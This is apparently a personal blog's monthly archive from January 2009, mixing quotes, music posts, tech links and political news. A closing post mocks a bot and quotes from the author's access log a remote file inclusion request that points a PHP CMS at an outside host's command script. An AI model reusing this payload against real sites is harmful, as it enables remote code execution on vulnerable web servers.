January 2009
78 posts
“Where’s our 21st century Kerouac? The man on the train so skullfucked by the...”
– The Reverse Cowgirl (via m1k3y)
RTÉ News: Joint effort against music piracy agreed →
inky:
The music industry needs to die a painful death right fucking now.
In what has been billed as a world first, four music companies and internet server provider Eircom have agreed to work together to end illegal music downloading…
On the plus side, it’s very easy to boycott the four music companies in question, considering they’re pushing nothing but half-arsed, unimaginative wank to the...
Computer science degree run amok →
Guy requests Bugzilla be ported to Java. Developers laugh. Guy requests Bugzilla be ported to Java. Guy requests Bugzilla be ported to Java. Perl isn’t as secure as Java. Guy requests Bugzilla be ported to Java.
Bong-Ra - The Goat of Mendes live set
I recently did a one off set as ‘The Goat of Mendes’ in Rotterdam at the Deformer CD presentation night in Waterfont. Mixing old industrial (Godflesh, Pitch Shifter..), deathmetal (Carcass..) and new stuff (Earth, Burial Chamber Trio..) with my favourite dubstep producers (King Cannibal, Broken Note..), also playing guitar feedbacking and parts over it. I mixed it live with Ableton...
TinyP2P - A 15 line long Python P2P Application
# tinyp2p.py 1.0 (documentation at http://freedom-to-tinker.com/tinyp2p.html) import sys, os, SimpleXMLRPCServer, xmlrpclib, re, hmac # (C) 2004, E.W. Felten ar,pw,res = (sys.argv,lambda u:hmac.new(sys.argv[1],u).hexdigest(),re.search) pxy,xs = (xmlrpclib.ServerProxy,SimpleXMLRPCServer.SimpleXMLRPCServer) def ls(p=""):return filter(lambda n:(p=="")or res(p,n),os.listdir(os.getcwd())) ...
“BARACK HUSSEIN OBAMA = Babushka Macaronies = Shaken Caribou Samba = Bareback...”
– @drewtoothpaste
“The opinions of the committee and those who submitted evidence to it on what...”
– Committee on Evil Literature
XScreenSaver →
Download the XScreenSaver collection in OS X screensaver format.
obskvrnsmk - Temple
I expect that most of my...
“My words fly up, my thoughts remain below: Words without thoughts never to...”
– Hamlet, Act 3, Scene 3
Possibly the Largest Data Beach ever →
Conveniently scheduled for release today and hidden amongst even more momentous media coverage, Heartland Payment Systems disclosed the discovery of malicious software within its processing system. Heartland delivers credit/debit/prepaid card processing, payroll, check management and payments solutions to more than 250,000 business locations nationwide.
Enduser - Kreep Step
From the Caustic Pulse EP.
Obama Attorney General Choice OK with FBI Searches... →
President-elect Barack Obama’s nominee for attorney general has endorsed an extension of the law that allows federal agents to demand Americans’ library and bookstore records as part of terrorism probes, dismaying a national group of independent booksellers.
Eric Holder said at his confirmation hearing Thursday before the Senate Judiciary Committee that he supports renewing a section...
BBC: MP makes Israeli troops Nazi link →
A prominent Jewish MP has compared the actions of Israeli troops with Nazis who forced his family to flee Poland.
“My grandmother did not die to provide cover for Israeli soldiers murdering Palestinian grandmothers in Gaza.”
We had an IRA bomb in Manchester which destroyed much of the centre - we didn’t send troops over to Belfast to murder 1,000 Catholics
“The present...
“i don’t want to die
it sounds confusing”
– pictures for sad children (via chill)
How America Lost the War on Drugs →
givemesomethingtoread:
After 35 years and $500 billion, drugs are as cheap and plentiful as ever: an anatomy of a failure.
“The score consists of a C program of about 20 000 lines of code. The output...”
– How the THX Sound is generated.
via Music Thing: TINY MUSIC MAKERS: Pt 3: The THX Sound
WatchVirtual Ball Pit by Kevin Atkinson
Dumb spiders
GET /~nosmo/tutorials/webtut.ppt//inc/cmses/aedatingCMS.php?dir%5Binc%5D=http://rubiii.freehostia.com/prova-cmd.txt??
From my access_log. This blows my mind on a few levels - How does this spider not realise that it’s trying to access a subdirectory of a Powerpoint file? Sadder still is the fact that the vulnerability this bot is checking for is TWO YEARS OLD. And how many people could...